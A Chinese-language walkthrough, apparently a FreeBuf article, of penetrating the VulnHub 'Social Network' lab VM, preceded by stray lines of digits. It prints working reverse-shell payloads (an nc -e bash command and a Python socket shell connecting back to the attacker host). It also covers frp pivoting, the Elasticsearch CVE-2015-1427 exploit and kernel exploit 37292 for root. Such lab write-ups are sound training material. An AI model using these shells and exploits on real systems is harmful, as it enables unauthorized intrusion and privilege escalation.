0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

靶场搭建
靶场下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
下载下来是虚拟机.ova压缩文件,直接用Vmvare导出就行
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
开启虚拟机
靶场搭建完成
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
128为kali攻击机,所以129为靶机
扫描靶机所开放的端口、服务及版本
nmap -sT -p 0-65535 -A 192.168.52.129
开放了22端口,存在ssh服务
开放了5000端口,存在Werkzeug httpd 0.14.1服务(WEB)
先访问一下WEB
发现可以发表评论到网页上
测试了一下不存在XSS
扫描铭感目录
发现存在/admin路径
发现是一个代码执行的页面,并且使用exec()执行
由于前面扫描时知道这个网站使用基于python的Werkzeug httpd搭建的,所以我们尝试一下执行python代码
提示状态为执行了这个代码
当输入不正确代码时,会提示出现问题
尝试一下用python来执行代码来反弹shell
import os os.system('nc -l -p 4444 -e /bin/bash')
代码显示执行成功,但是显示连不上4444端口,说明可能主机上没有nc这个工具
换一种方式
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.52.128",4445)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]);
先在kali上用nc监听端口
然后执行代码
成功获得shell
发现是在docker环境下
我们需要扫描一下docker环境下是否有其它主机存活,由于这是在靶场环境下,而且网段太大所以我们只扫描了几台主机,发现172.17.0.1-3为开放主机
我们要扫描主机,所以我们要使kali能够连通docker的内网,需要做内网穿透
这里我用到一款叫frp的内网穿透工具(也可以使用venom这款工具),下载地址:https://github.com/fatedier/frp
将frpv.ini文件的服务器地址改为kali攻击机的地址,并且加上socks配置,以便建立代理
在kali上搭建一个临时的网站
python3 -m http.server 80
或者python2 -m SimpleHTTPServer 80
将frpc和frpc.ini通过wget下载到靶机
在kali上运行frps
./frps -c frps.ini
在靶机上运行frpc
./frpc -c frpc.ini
在kali上利用proxychains来连接代理,修改proxychains配置文件
vi /etc/proxycains4.conf
代理搭建完成
扫描存活主机开放服务端口
proxychains nmap -sT -A 172.17.0.1
发现和刚才在外网那台52.129主机一样,页面也是一样的,确认为同一台主机
proxychains nmap -sT -A 172.17.0.2
发现开放了9200端口,有Elasticsearch REST API 1.4.2服务
访问一下
搜索一下这个服务相应版本漏洞,发现此版本存在一个rce漏洞CVE-2015-1427
找到对应的exp下载下来
执行exp获得root权限
在目录下发现passwords文件
把这些密码和密码hash都解出来
用账号密码可以用于ssh登录,最开始我们扫描52.129靶机开放了ssh服务,尝试登录,发现只有john这个用户可以登录
接下来进行提权,这里用到一个叫做linpeas的工具,它可以自动进行信息搜集,列出主机提权的方法,给出提权的建议
两种方式都失败了
换其他方式
在kali上利用searchsploit搜索内核linux 3.13的漏洞,这些可能都可以利用,可以一个一个试
这里我们使用37292这个漏洞
将这个文件复制到/root目录下
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root
查看文件内容,文件需要gcc编译,而且在文件运行时也需要用到gcc
但是靶机中没有gcc
所以我们需要修改代码,在kali上编译后上传到靶机执行
这段代码会调用c语言源代码生成二进制库文件,我们可以在kali中直接找到这个二进制库文件,就不需要gcc编译了
删除这段代码
进行编译(报错不影响正常使用)
我们还需要在kali中找到二进制文件ofs-lib.so文件
将两个文件上传到靶机上
赋予权限,执行,成功提权获得root权限
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)